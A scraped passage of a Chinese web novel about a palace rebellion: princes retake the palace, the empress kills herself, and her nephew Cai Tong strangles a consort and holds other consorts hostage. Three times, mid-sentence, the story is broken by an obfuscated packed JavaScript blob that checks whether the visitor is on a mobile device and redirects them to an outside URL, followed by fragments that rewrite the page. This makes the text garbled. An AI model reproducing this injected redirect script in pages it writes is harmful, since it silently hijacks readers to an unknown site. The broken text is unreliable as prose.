刘安与承道帝相处的时间最长,对于承道帝的脾气秉性最是熟悉,听周述如此说,眼睛闭上,深吸一口气后缓缓睁开双眼,脸上早已换了神色,盯着镜中的周述,睥睨道:“拘谨?” 周述抬眼看去,见刘安将承道帝平日里的神态模仿得有七八分像,连连夸道:“是了是了,便是这样。”忽对上刘安的目光,冷不丁地打了个寒颤,就连这眼神,也像。 仿佛一下子就回到了先前他在御书房问承道帝祭祀人选的时候,下一刻就要将他拖出去杖责。 周述紧张得低下头,手心已经出了层汗,在袖子上偷摸擦拭。 外面传来军队列阵的声音,刘安侧耳认真听了一会儿,问道:“可是平叛的军队出发了?” 吴善辅回道:“是。英王殿下与五殿下、七殿下亲自带队。” 刘安听到英王也去了之后,眉头紧锁,心也随之揪起来。今儿才听到他咳嗽了几声,身子虽比先前要好了些,可到底还是孱弱,他怎么跟着去了。 即便是再怎么恨皇后,也该爱惜着自己的身体才是啊。 刘安面露忧色,方才如同承道帝一般的神态不复存在。 周述暗中抚着胸口,长长地舒了一口气。 祭祀大典在即,刘安代帝祭祀,承道帝在万安山上布控指挥。 平叛的军队也在京城外与秦王刘茂率领的军队汇合。 “哥哥!”宁乐公主刘宁看到秦王的旌旗,兴冲冲地迎了上去,刘宁笑道:“阿宁唯哥哥马首是瞻!” “莫要胡说。”刘茂强压着忍不住上扬的嘴角,淡淡道。 此次皇后叛乱,对他来说,可是千载难逢的机会,平定叛乱,收复京城,那可是大功一件,这些都会被父皇看在眼里记在心里。 皇位已经在向他招手了。 刘宁笑笑:“哥哥,诸位兄弟之中,除了你又还有谁能担此大任呢?” 二人不愧是龙凤胎,心意相通,都想到一处去了。 连日的舟车劳顿,再加上急火攻心,英王刘元才刚与刘茂定好平叛的方针,便再也撑不住了,嘴里不受控地吐出一口鲜血。 “大哥哥!” 秦王刘茂、宁乐公主刘宁、七皇子刘昶纷纷围上去。 刘元摆摆手,眼下平叛要紧。他早有预感,如今他只怕是要油尽灯枯,再无回天之力了。在他临了之前,还需得亲眼看着这场乱事平定才好。 太子已是含冤,冤情尚未平反,若是皇后叛乱一事坐实,太子声名有损,以后若是再要平反,只怕是难上加难。 前来平叛的刘茂与刘宁是贵妃所生,贵妃与皇后的恩怨由来已久,她们背后的母家汀州张氏与颖州蔡氏的纷争也从未停过,此次平叛的主力又是他们,只怕要将皇后狠狠地按在叛乱的罪名上。 父皇在位期间,太子身为他的儿子国之储君,却含冤而死,皇后身为他的妻子一国之母,却谋逆叛乱,待父皇百年之后,还不知道后人要如何评说。 无论是为着太子死后的名声,还是父皇百年之后的名声,哪怕他再怎么恨皇后,恨皇后的家族为了能上位不惜毒杀了他母亲与陈娘娘,恨皇后为了权力不惜暗中下毒损害他的身体,可皇后绝不能是叛乱,绝不能是叛乱的主谋。 刘元强撑着病弱的身体,一一交代道:“守城的兵士们并不是一心要作乱,他们也只不过受了旁人的蛊惑,不可错杀乱杀。” “早在八月底,皇后便已经疯了,如何能下令封城……谋逆呢?只怕也是受了旁人的蛊惑。” “只要将始作俑者抓住即可……不可……切记不可乱杀。” 刘茂的眼神晦暗不明,默不作声。 刘昶接过话,半掺着急半掺忧道:“大哥哥,你好好休息才是。平叛一事就放心地交给我们吧。” 刘元抓着刘昶的手,眼睛却是紧紧盯着刘茂,急着叮嘱道:“不,不是平叛,是……”话音还未落,又吐出一口鲜血来。 刘宁忙捧着手帕接住,看着手帕上的一大口鲜血,双手颤抖,眼中难掩担忧之色。 刘茂看向刘元刚刚吐出的那一口鲜血,泄了口气,失神道:“大哥哥放心。我心中自有分寸。” 得了刘茂的承诺,刘元这才放下心来:“你们去吧。” “守城的兵士们听着,若此时还不打开城门,便是谋逆作乱。那可是诛九族的重罪,想想家中的族亲们,你们的脑袋有几个够砍的。” 城内的驻城军,他们先前在太子手下办事,太子待人宽厚,如今却含冤而亡,见蔡桐站出来为太子鸣不平,便纷纷站出来响应。 再者,大多数人原只是依着上峰的旨意行事,虽觉得此举不妥,可上峰的命令大过天,岂是他们这些小喽喽们可违背的。 如今见万安山上派来了人,自己竟要担上这作乱谋逆的罪名,纷纷怕了。今又听到皇子允诺不治他们的罪,便火速开了城门,将平叛的军队迎进城中。 城内的百姓士绅们得知承道帝已派军队前来镇压叛军,纷纷反抗起叛军。 蔡桐应接不暇,手下除了晋国公府带过来的府兵与凭着皇后的凤印威压统领的羽林军外,再无别的军队能够抵御,再加上能力实在受限,不得已只能退守宫中。 刘茂刘宁二人的生母张贵妃,刘昶的生母容嫔,可都在宫里呢。有这两个人质在手,料他们几人不敢强行闯宫。 哦,对了,秦王府外也派了人手,那可都是精锐呢。 想到此处,蔡桐招来手下:“去,再派一队人,将秦王府盯死了。若宫门被破,秦王府的门也该破了。” 做完这些之后,蔡桐着急忙慌地来到皇后身处地长秋宫。 长秋宫内,皇后与贵妃提到当年往事,这是她们二人第一次将话说开,二人对过当年的细节之后,才发现梗在她们二人心中的冰棱竟然是承道帝一手策划的。 是承道帝他将统辖六宫的权力给了贵妃,给了贵妃独一份的偏爱,可之后又宠幸了皇后,先后让她们二人有孕,更是为了让她们二人争斗不止,还放出话来,谁先诞下皇嗣便是之后的皇后。 当年承道帝低估了贵妃与皇后二人的情谊,况且贵妃比皇后早两个月的身孕,贵妃被封后那是板上钉钉的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274256|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事。 可就是这板上钉钉的事,却出了意外,皇后意外早产,先于贵妃生下了太子。 皇后以为是贵妃有意陷害,害得她早产害得她此生不能再有身孕;贵妃以为是皇后虚伪至极,心中明明十分想要后位却还是装出一副满不在乎的样子,在她面前装无知博同情,更是不惜用落轿早产一事来陷害她。二人就此结下梁子。 可今日二人对过之后才猛然发觉,当年种种竟然是承道帝的手笔。 二人心中积怨已久的冰棱融化,脸上都淌着两行泪痕。 贵妃不敢相信自己所听到的每一个字,连连后退,直至背后抵着柱子,退无可退之际,仍是不可置信地摇着头她不相信,她不敢相信这是她深爱的夫君设下的局,她不敢相信帝王的宠爱之中全是算计。 皇后为贵妃擦去挂在脸上的眼泪,唤上了贵妃闺名,悲凉道:“渺渺,我们两个都错了,我们两个都错得离谱。” “刘适啊刘适,你算得好狠,真的好狠啊。” “你把两个深爱你的女人,算到了你精心编制的情感里,看着他们两个自相残杀,看着你的儿子们自相残杀,你好狠的心啊!” “哈哈哈哈哈——” 蔡桐神色慌张来到长秋宫,见到皇后与贵妃二人均是一副失神落魄的样子,虽是不解,可现在的情形都火烧眉毛了,由不得他去探究其中到底发生了什么,急道:“皇后娘娘,求您下令!” 见蔡桐来了,皇后擦掉脸上的泪,起身将贵妃挡在身后,凤眸微眯,问道:“宫内外都控制住了,京城都在我们手上了,慌什么?” 蔡桐瞥了眼被皇后护在身后的贵妃,皱着眉摇摇头,担心京城失控的消息被贵妃得知后会有别的变故,可此时也顾不上许多,忙道:“万安山派兵来了。” “带兵者谁?” “刘茂刘宁刘昶三人。” 听到一双儿女的名字,贵妃回过神来,忙劝皇后道:“阿昭,你收手吧,不要再执迷不悟了。” 皇后冷哼一声:“我若收手,秦王焉能放过我?刘适他焉能放过我?” 贵妃道:“茂儿和阿宁两人,最听我的话,有我在,他们不敢拿你怎么样的。陛下面前……” 贵妃顿了顿:“我去求他!” 蔡桐见皇后似有松动,急道:“皇后娘娘,已经到这一步了,我们谁也不能全身而退了,不如一不做二不休,即刻扶持一名皇子登基,您做太上皇后,我做摄政大臣,天下还在我们手中啊!” 蔡桐跪下再三恳请道:“娘娘,您下令吧,宫中将士全听您的差遣!” “姑母,不能再犹豫了,难道您忘了太子殿下是怎么没的吗?倘若我们当时再快一步,把太子从狱中救出来,太子也不会狱中绝望自裁。“ “娘娘!” “阿昭!” 太子是皇后心中的痛。 皇后这才想起,太子,已经薨逝了。 皇后思定,亮出金印:“传本宫懿旨,即刻起蔡桐为禁卫军、羽林军两统帅,统辖禁卫军与羽林军,禁卫军退守宫门,任何人不得擅入,羽林军死守宣政门。” “两军之中若有违抗军令者,无须奏禀,斩首示众。” “若有临阵脱逃者,斩!” “若有动摇军心者,斩!” “蔡桐得令。” 60. 秋猎祭祀(十)入宫平叛 “阿昭!你何必如此……何必置自己于万劫不复之地?” 皇后只是静静地看着瘫坐在地上,哭得无力的贵妃,眼中看不出一丝情绪:“为了皇位,你的儿子害死了我的儿子,就想这么算了吗?” 贵妃闻言,怔怔地抬头看向皇后,眼中满是不解,方才她们不是已经都说开了吗,心中再无误会嫌隙,怎么她又…… 贵妃跪在皇后身前,只为劝她迷途知返,举誓道:“我对天发誓,太子巫蛊一事,绝非茂儿所为,有违此誓,此生不得好死!” 皇后捏着贵妃的下巴,手劲之大,恨不得能将贵妃的下巴捏碎,眼睛直直地盯着贵妃,恨恨道:“你的誓言,等我成为皇太后再说吧。”说罢,甩手推开拦在她身前的贵妃,走下台阶,对着宫殿外的羽林军下令道: “来人,将宫妃皇子们都押到福宁殿,严加看管!” “阿昭!“ 皇后转身,冷眼看向贵妃:“贵妃,你越矩了。” 容嫔、李美人一行人被强行押送到了福宁殿的一处偏殿。 李美人此生第一次遇到叛乱,怀中的八皇子刘绥还受了惊吓,高热不退,一路上哭哭啼啼个不停。 六皇子刘赞也被眼前的阵仗给吓傻了,只是任由羽林军们推着撵着来到了福宁殿。 李美人哭道:“容姐姐,贵妃至今未归,我们又被带到了这里,现如今可该如何是好?” 容嫔安慰道:“既然皇后将我们转移到此处,想来情况有变。” “方才来的路上,见皇宫内羽林军比前几日多了数倍不止,先前和羽林军轮换看守的禁卫军也不见了踪影。想来京城已收复了。” “他们迫不得已,只能退守皇宫,做最后的背水一战了。” 刘赞也浑身发抖道:“容娘娘,那我们……我们会死吗?” 容嫔将刘赞揽入怀中,轻声安抚道:“赞儿不怕,容娘娘在呢。容娘娘手中有剑,定不会让他们伤害赞儿的。” “你忘了?你七弟刘昶,英勇善战,定能将这逆贼蔡桐剿灭的。” 安抚好刘赞后,容嫔继续分析道:“我们不会有事的。虽说皇后他们一时间拿住了京城,可有几人会真心愿意跟着他们犯上作乱?想必如今是万安山上派人来了,皇后他们此时恐怕早已溃不成军了,不然也不会退守皇宫了。” “既然退守,那手中便不得不有筹码,否则平叛的大军来过,摧枯拉朽之势,仅凭禁卫与羽林军,怎么能抗得住呢?” 李美人喃喃念了声:“筹码?” “我们便是他们的筹码。所以我们不会有事的。我们如今只需耐心等着就行,等着平叛的军队入宫。“ 刘赞问道:“若他们到了山穷水尽之时,会不会和我们同归于尽?” 容嫔听后,有些沉默。不可否认,若真到那时,又该如何是好呢? 此时,一个小宫人怯怯地站了出来:“娘娘,奴才的师傅曾在福宁殿当过差,知道在这福宁殿内有条暗道,可直通宣政门。” 暗道? 几人面面相觑,怎么她们从未听说过此事? 当前情况危急,也容不得她们多想,李美人脸上浮上一丝喜悦之色,忙道:“那还愣着干什么?大家赶紧从暗道里面逃出去啊!” 容嫔想了想,若她们这些人突然全部消失,只怕会引起注意。 现如今宣政门是什么情况还未可知,贸然从暗道逃生,只怕会置于险境。况且…… 容嫔看了眼浑身滚烫的八皇子刘绥,眼中满是不忍。况且如今绥儿还病着,行动多有不便。 “不可。不可所有人都从密道里走。”说罢,容嫔看了眼刘赞,决定道:“赞儿,你换上宫人的衣服,从暗道里逃出去。” “但要时刻听着外面的动静,轻易不要现身,待到平叛的人来了,你再出来,将我们的处境告知他们,带着他们来救人。” 刘赞声音中多了些许哽咽:“容娘娘……我怕……” “能逃出一个是一个,快去吧。” 李美人也催促道:“去吧。” 刘赞同一个与他身形相仿的小太监换了衣服,依依不舍地告别众人,在暗道之中穿梭。 小太监则是装成刘赞的样子,躺在床上,盖着被子蒙着脑袋,一副被吓得瑟瑟发抖的样子。 宫门处,刘茂率领着大军赶来,看着紧闭的宫门,听不着门内的一丝声响,不知如今宫内是什么情形,便高声道:“皇四子刘茂,携皇五女刘宁,皇七子刘昶,前来向母后请安。” 听到门内还是一点声响都没有,便继续道:“陛下听闻皇后娘娘被人挟持,特派我等前来相助。” 门内还是一丝响动也没发出。 刘宁皱着眉:“哥哥,难不成他们不在皇宫?” 刘昶也甚是疑惑:“可蔡桐自进了宫便再也没出过宫了。羽林军与禁军也不曾在宫外走动过。应该还是在宫内。” 刘茂镇定道:“再等等,就怕早就设了埋伏。” 刘昶想起离开万安山前,大姐姐将父皇的金羽令牌给了他,忙掏出来递给刘茂。 刘茂亮出令牌:“陛下的金羽令牌在此,见此令牌,如见陛下。” “你们此时开门,便都是平叛的功臣,若待我破门之后,那便都是反贼了,你们可要想清楚了。” 听到宫门内有些窸窸窣窣的声音,刘茂继续道:“难道你们铁了心的要做反贼不成?” 宫门缓缓开启,禁卫军们出宫门跪拜:“参见陛下,参见三位殿下。” 刘茂收起令牌冷哼一声:“蔡桐等人呢?” 一禁卫军道:“蔡统帅在福宁殿。” “蔡统帅?他自个儿封的?” “是皇后娘娘的懿旨。” 刘茂看了眼回话的禁卫军,道了声:“赏!” 其余人见此情形,忙将宫里的情况一一说出:“殿下,宣政门是羽林军在守,他们凭着皇后的金印宣调。” “蔡桐与皇后先前待在长秋宫,想来此时也还在长秋宫吧。” “赏!” 刘茂带着刘宁与刘昶,及一众军队入了宫。一行人等沿着官道,朝着宣政门赶去。 刘茂高呼一声:“众将士们,国之有难,速速随我进宫救驾,围剿叛贼!” 一呼百应。 路上或有遇到有反抗的,皆被当做了叛军处理。 羽林军的将领在宣政门处拦住了刘茂等人的去路:“殿下留步,臣等奉皇后娘娘的懿旨,驻守此处。” 刘茂眉毛一挑,有些不可思议,当真有如此分不清局势之人,如今皇后蔡桐等流已是强弩之末了,不由得冷笑一声,随即质问道:“奉命?奉的是谁的命令?究竟是皇后,还是蔡桐假传旨意?” 羽林军默不作声地跪在地上,可还是依旧拦着刘茂等人的去路。 若是真如蔡统帅所言,另立新君,皇后娘娘做皇太后垂帘听政,那他们这群人便是新朝的肱骨之臣,依旧还是皇后娘娘的亲信。 刘茂冷哼一声:“你们听命听的是谁的命?” “你们可别忘了,你们是从属于皇后娘娘的羽林军,不是他蔡桐的兵。陛下如今并无废后,皇后娘娘依旧是中宫之主,天下之母,你们这般……” 刘茂顿了顿,上前一步,手扶上羽林军将领头上的盔甲,轻拍数下,继续道:“是要置皇后娘娘于不仁不义吗?” 刘宁一脚将这将领踹倒在地,迅捷地这将领腰间的佩剑,横着架在他脖子上,与刘茂一唱一喝道:“哥哥,你同这些叛贼废什么话!不如一剑刺死。” 刘茂拦住刘宁,上前一步,屈膝弯腰半蹲在这将领面前,循循善诱道:“你身为皇后从属的羽林军,如今你却执意要阻拦本王进宫平叛,那今日便是皇后叛乱造反。” “本王奉陛下之命,前来平叛,那今日本王平的就是皇后之乱,你们这般阻拦,别说是什么皇后晋国公之流,就算是太子,也得受你们牵连,从皇陵中迁出。” “本王记得,你是太子一手提拔上来的,太子于你如何,你心中自有定数,如今你此举,可对得起太子?” 刘茂起身,目光从这个带头的将领身上挪开,转向跪在地上的一众羽林军:“你可想好了,你将太子置于何地?” 该羽林军将领细细品过刘茂的话之后,看了眼跟在刘茂身后装备精良的军队,失神落魄地瘫坐在地上,他竟险些害了太子的名声。 刘茂凑到该将领面前,压低声音道:“护主之心,此心可嘉。你让我进去,我可向你保证,无论今日谁输谁赢,无论日后是谁登基为帝,皇后娘娘都不会死,太子也不会被迁出皇陵。可你若是执意阻拦,那谁也救不了皇后,将来皇后谋反昭告天下之时,便是太子陵墓迁出皇陵之刻。 说罢,刘茂缓缓起身,居高临下地看着瘫坐在地上的羽林军将领,鼻子中闪出一声冷哼,甚是不屑。 随即刘茂回头看了身后的刘宁刘昶二人。 只一个眼神,刘宁会意,大喊一声:“蔡桐挟持皇后,意欲谋反,我等前来救驾,阻拦者死!” “尔等若是同我杀进去,就是救驾头功。” 拦在前头的将领此刻才回过神来,额头低低伏在地上,高声冲羽林军下令道:“蔡桐假传皇后口谕,挟持皇后,意欲谋反,三位殿下前来救驾!不得阻拦!” “阻者,死!” 刘茂一脚踢开如一条死狗一样跪在地上的羽林军将领。 将领不敢抬头,哪怕被踢倒在地,又重新爬起来跪好。 刘昶丢掉手中早已砍得卷刃的宝剑,旋即随手抽出一名羽林军的佩剑,紧紧跟在刘茂身后。 三人带兵进入宣政门,不过数步,便看到前面一个慌张地朝着福宁殿跑去的士兵,边跑还不住地回头张望。 看着服饰,是羽林军。 刘宁捡起羽林军的弓弩,张弦搭箭,瞄着那通风报信的士兵。 在那通风报信之人即将跨上福宁殿的台阶之时,弩箭破风而来,通风报信之人还未曾踏上第二层台阶,便重重地摔在台阶上,翻滚下来。 刘茂春风得意,夸赞道:“阿宁箭术又精进不少。” 刘宁看向刘茂,甚是得意。 蔡桐方才还在问:“怎么不曾听到外面的打斗声?” 手下人来不及回话,便有人来报,殿前多了一具羽林军的尸体。 当得知是这尸体背上的那一箭是刘宁所射时,蔡桐面上不由得露出几分的惊惧之色。 刘宁的箭术,蔡桐早有耳闻,先前只以为是别人对她的恭维之词。今日一见,方才知传言不假,不禁连连后怕,吓得龟缩在福宁殿,不敢踏出福宁殿一步。 更是忙不迭派人出了福宁殿,与刘宁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“容娘娘、李娘娘,还有八弟,现下都被迁到了福宁殿的偏殿。” “只是八弟……八弟受了惊吓,高热不退。” 刘宁问道:“我母妃呢?” “贵妃娘娘她……” “怎么了你倒是快说啊!” “贵妃娘娘先前被皇后带去了长秋宫,之后便与我们分开了,再也没见到了。” 刘茂与刘宁互相看了一眼,眼中尽是担忧。 “哥哥,你说母妃她会不会……” 皇后与母妃素来就有恩怨,本就是水火不容的境地,自太子巫蛊一事之后,皇后与母妃之间的关系更加紧张,如今皇后单独与母妃相处,母妃她又怎会平安? 刘茂垂眸沉思良久,而后给了刘宁一颗定心丸道:“不会的。蔡桐既然要以母妃等人做人质来要挟我们,便不会让母妃出事。” 话虽是这么说,可皇后疯癫多日,此时非比寻常人,母妃与她独处,只怕凶多吉少…… 如今蔡桐的主力都在福宁殿,只怕皇后与母妃也还在福宁殿之中。 “把福宁殿层层围住,围得像铁桶一样,密不透风,一只飞虫都不能放进去。” “眼下皇后蔡桐等人,不过是秋后的草虫,蹦跶不了几下。” 蔡桐得知刘茂等人不费吹灰之力便先后攻破了宫门、宣政门之后,气急败坏道:“废物废物!一群废物!” “怎么就被刘茂三言两语给吓破了胆呢?” “他们这般倒戈,怎么对得起太子给予他们的恩情呢!” 大势已去。 大势?他们何曾得势过? 在福宁殿的另一处偏殿之内,皇后听闻宫内的消息后,哼笑一声,再一抬眼,面容仿佛瞬间苍老了十岁。 “渺渺,你赢了。” “这后宫,都是你的了。” “这天下,都是你儿子的了。” “就连陛下,也是你的了。” “阿昭!” “哈哈哈哈哈——我这一生就是个笑话就是个笑话啊!” “我与你争什么啊?争来争去,到头来是一场空。” “家不成家,国不成国。” “我父亲死了,我哥哥也死了,我儿子也死了,马上,我也要去陪他们了。” “渺渺,你说,我是不是很自不量力啊?自不量力地去与你争宠。” 皇后一把扯下头上的凤冠,狠狠摔在地上:“刘适啊刘适,你瞒我瞒得好惨啊!” “你的皇后,我做够了。” 贵妃看着自言自语的皇后,心中五味杂陈,这场争斗,不曾有过赢家,她们谁都输了。 皇后从袖中抽出一把闪着寒光的匕首,朝着心脏处狠狠地扎了下去。 “阿昭!”贵妃跌跌撞撞地奔向皇后,将皇后紧紧抱在怀里,泣不成声道:“阿昭,在你成为皇后我成为贵妃之前,我从未……从未想过要与你争些什么。” “我只是气,气你若是属意于后位,为什么不早早告知于我。” “我只是气,以为那些事都是你做的,以为你心思深沉。” “我气,气你待我不真诚,气你待我虚与委蛇,气你虚情假意……” “阿昭!阿昭!” “渺渺——”皇后半抬着手,想为贵妃擦去眼泪,可气若游丝,抬至半空之中,再也没了力气。 “我……我看到牧儿了……牧儿……母亲来了……” “阿昭……” 贵妃盯着手中的鲜血,怔怔起身,踉跄行至福宁殿门口道:“皇后蔡昭,薨。” 而后又高喊一声:“皇后蔡昭,薨!” 61. 秋猎祭祀(十一)颓势尽显 “蔡统帅,皇后娘娘……”小太监战栗地跪在蔡桐面前,还不忘抬眼瞄了眼蔡桐,继续道:“皇后娘娘殁了。” “怎么会?怎么会呢?” “皇后娘娘千秋盛世,怎么会殁了呢?” 蔡桐重重一脚踹在通传报信的太监身上:“尔等竟敢诅咒皇后娘娘!” 小太监被踹出数步远。 蔡桐不信,非要亲眼所见,便气势汹汹地带人朝着偏殿赶去。 福宁殿的偏殿之中,赫然躺着一具尸体,一具身着皇后朝服的尸体,一具胸口上正插着匕首的尸体。 象征皇后身份地位的凤冠,七零八落地散在地上。 蔡桐迈过门槛,一个趔趄摔倒在门槛上,蔡桐扶着地板撑着身体,沾染着鲜血的双手扒着门槛,强撑着站起身,不可置信地看着眼前这一幕,怎么会?怎么会这样呢?皇后娘娘怎么就没了呢? “姑母!” 蔡桐呜咽地哭着:“你怎么就抛下桐儿自己先去了呢?” 蔡桐抱起早已皇后早已冰凉的尸身,双臂箍紧,紧紧拥入自己怀中:“姑母,我们马上就成了,我们马上就成了。再等些时候,你便是皇太后了,你就是皇太后了……” 皇后于蔡桐,既是姑姑,也是他第二个母亲。先前太子教养于东宫,与皇后早早分别,晋国公怕皇后心情郁结,便将蔡桐留在宫中,日日与皇后为伴。恰巧蔡桐又与太子年纪相仿,皇后爱子之心,皆现于蔡桐。蔡桐亦是如此。 如今皇后薨逝,他又怎会不伤心,又怎能不疯魔? “皇太后?”一旁的贵妃听到蔡桐这么说,癫笑着踉跄几步走过来,指着蔡桐骂道:“乱臣贼子!乱臣贼子!” “如今若不是你撺掇阿昭谋逆,她又怎会心有不甘自尽而亡?当如若不是你频频惹事不知悔改,她与太子又怎会——” 贵妃话还没说完,便被蔡桐一甩来的巴掌重重地磕在地上。 蔡桐紧紧抱着皇后尸身,面目狰狞地看向贵妃:“你算什么东西,怎敢直呼皇后名讳?” “你是不是以为,秦王来了,你便可登上皇太后的位置?” “你是不是以为,太子死了,秦王便可坐上太子的位置?” “茂儿来了?”贵妃眼中闪过些许喜悦的泪光,从地上坐起身来,撑起沾满血污的衣裙,喜极而泣。 贵妃面上露出的喜色,犹如一柄利剑,狠狠扎在蔡桐心里,刺进蔡桐眼里。 凭什么,凭什么全都到里贵妃你的手里?凭什么! 想到这里,蔡桐起身,一脚踩在贵妃手上,用力碾着:“痴心妄想。” “姑母,你放心,你的位置只能是你,旁人是抢不了的。” “桐儿也绝不容许旁人抢了你的位置。” 自蔡桐记事起,便知道贵妃总是在与皇后争,无论是帝王的宠爱,还是统辖六宫的权力,抑或是未来的储君,皇后每每都被贵妃气得头痛不已,蔡桐看在眼里,记在心里,从小便想着有朝一日能为皇后报仇,能将姑母昔日里受到的委屈都悉数报在贵妃身上。 如今,机会这不就来了。 贵妃的手被蔡桐踩得吃痛不已,手上的筋骨也早已错位,另一只手攀上蔡桐的腿脚,用力地撕扯拍打着,可无济于事。 蔡桐弯腰蹲下,捏起贵妃的下巴,手上的力道险些要将贵妃的下巴捏碎,眼神阴狠地看向贵妃,嘴里轻飘飘地说道:“你不是最喜欢与姑母争吗?” “如今姑母薨逝,你怎么竟不争了呢?” 说着,便命人奉上白绫。 白绫一端绑在贵妃纤细的脖颈上,白绫绕过房梁,另一端紧紧攥在蔡桐手中。 蔡桐为贵妃拂去那颗绝望的泪水:“既然你爱与姑母争,那便争个够吧。” 蔡桐心中含恨,手上用劲,白绫扯动,贵妃高高悬起。 贵妃挣扎几下,便没了动静。 姑母,你可安息了。 皇后咽气多时,尸身早已僵硬。为此,蔡桐用尽全身力气,费力横着抱起皇后,走出偏殿,步伐沉重地来到了福宁殿的正殿之上。 众人见蔡桐怀中抱着气息早已消散的皇后,身上染着血,眼中闪过无尽的凶光,均是被他这个样子吓了一跳,不自觉地连连后退。 “报!福宁殿被围住了。” “报!方才从殿外射进一支箭矢,上面还绑着一布条。” 说着,宫人将布条呈上。 蔡桐扯过布条,只见长长的布条之上赫然用血写着二十个大字: 叛贼蔡桐,妖言惑众,挟持皇后,谋逆作乱,其罪当诛。 一时间,宫人们议论纷纷。 “蔡桐挟持皇后?” “你们看,是蔡桐杀了皇后!” “想来定是皇后不允,蔡桐这才下手杀了皇后。” “他方才还在偏殿亲手勒死了贵妃!” “贵妃可是秦王的生母,贵妃一死,我们还怎么活?” “我们听从蔡桐的指令,岂不是也做了这谋逆的叛贼?” “皇后可是他的姑母啊,他竟也下得去手!” “那我们——” 听得宫人们的议论,蔡桐回头瞪了众人一眼,见他们仍不知收敛,这才小心翼翼地放下皇后的尸身,而后抽出长剑,选中一名宫人,一剑劈在他身上:“妖言惑众扰乱军心者,斩。” 宫人话还没说完,捂着颈上的伤口,失声倒地,暗红的血液顺着地板四处流转,流到众人脚边,众宫人瞬间哑然,再无人敢多言一个字。 蔡桐深知,眼下士气涣散,单靠以暴力狠辣手段去威压,是远远不够的。 蔡桐问:“外面站着的,除了秦王,还有谁?” “还有宁乐公主与七皇子。” “还有他呀。”蔡桐哼笑一声,当即命人将容嫔绑了押上殿来,紧接着深吸一口气,喊道:“开殿门。” 手下有人跪下求道:“不可开啊,秦王等人在门外,正虎视眈眈,现在开门,岂不是……” 蔡桐摆手,止住手下人的嘴。 殿门缓缓打开,蔡桐推着被捆得结结实实的容嫔挡在身前,从福宁殿中走出去。 “哥哥,福宁殿的门开了。”刘宁瞥见从门内走出两人,忙推了推一旁的刘茂与刘昶二人。 刘茂在一旁闭目养神,听得刘宁如此说,猛然睁开眼,站起身看着从福宁殿出来的容 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274258|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嫔与蔡桐。 刘昶惊呼一声:“母妃!” 容嫔看到儿子刘昶平安无事,心中的一块石头落地,挣扎着上前快跑几步,嘴里被团布堵着,不住地呜咽着。 蔡桐手疾眼快,一把拉回容嫔,容嫔一个趔趄,摔倒在地上。 蔡桐凑到容嫔耳边,威胁道:“贵妃的下场你也看到了,我知道你们姐妹情深,你若想下去陪她,我与不拦着。” “容嫔娘娘聪慧,想来能分得孰轻孰重。”说罢,掏出八皇子刘绥胸前佩戴过的长生锁在手上把玩着,嘴角扯出一抹笑意,眼底却是望不到底的狠厉。 容嫔被蔡桐眼中的狠厉震慑住,盯着刘绥的长生锁一言不发,皇后薨逝之后,蔡桐便已疯魔,如今更是狗入穷巷,连贵妃都敢杀,他还有什么是做不出来的? 看当下这形势,秦王入京平叛,又兵不血刃地收服了羽林军与禁卫军,还派人围了福宁殿,蔡桐败势已显,被捉拿已是板上钉钉的事实,自己也无需再做些什么了。 容嫔抬眼看向蔡桐,木讷地点点头。 蔡桐笑了,捞起容嫔,长剑横在她脖子上,冲着刘茂刘宁刘昶三人所在的地方喊去:“后宫嫔妃皆在吾手,若你们想为他们收尸,大可派兵破开福宁殿,若想让他们活命,便让围着福宁殿的军队都退后,退到宣政门去!” 刘昶捏紧剑柄,气得浑身颤抖,怒目而视。 刘宁察觉到刘昶的情绪波动,担忧地看了眼刘昶,而后同刘茂商议道:“哥哥,容娘娘在蔡桐手里,况且母妃与李娘娘还有八弟也还在殿内,我们不妨先依了蔡桐所言,退兵至宣政门。” “反正平叛一事,已是板上钉钉。” 刘茂头微微扬起,眼睛眯起:“阿宁,若是退到宣政门,你有多少把握射杀蔡桐?” 刘昶闻言一惊,不可置信地看向刘茂,难道四哥竟全然不顾母妃的安危吗? 刘宁也是一惊,眼中忧色看向刘昶,接着目光又转向刘茂,如实回道:“箭无虚发。” 紧接着,刘昶又看向刘宁,他……他不是不相信五姐的箭术,只是……只是稍有差池,便会伤到母亲啊! 刘昶跪在刘茂脚边,双手攀上刘茂的盔甲,声音颤抖的祈求道:“四哥!” “我母妃还在他手上,求四哥……” 刘昶也知道,平叛一事势不可挡,脑袋垂下,双手缓缓放下,只是道了一声:“求四哥三思。” 刘宁见状,也是求道:“哥哥……” 刘茂伸手止住二人的话语,扶起刘昶,冷冷道了声:“传令,退兵。” 刘昶感激地看了眼刘茂与刘宁。 刘茂收回眼神,垂眸想着,忽而开口道:“七弟,你带些人,同六弟去城内肃清蔡桐留在宫外的兵力,务必要将蔡桐留在宫外的兵力剿灭殆尽。” “我与阿宁留守宫内,看看蔡桐还能耍出什么花招。” 刘昶应了声“是”,而后面露忧色,眼中满是祈求地看向刘宁,随后缓缓带人离开皇宫。 刘宁似是察觉到什么,犹豫再三开口问道:“哥哥,为何要支开七弟?” 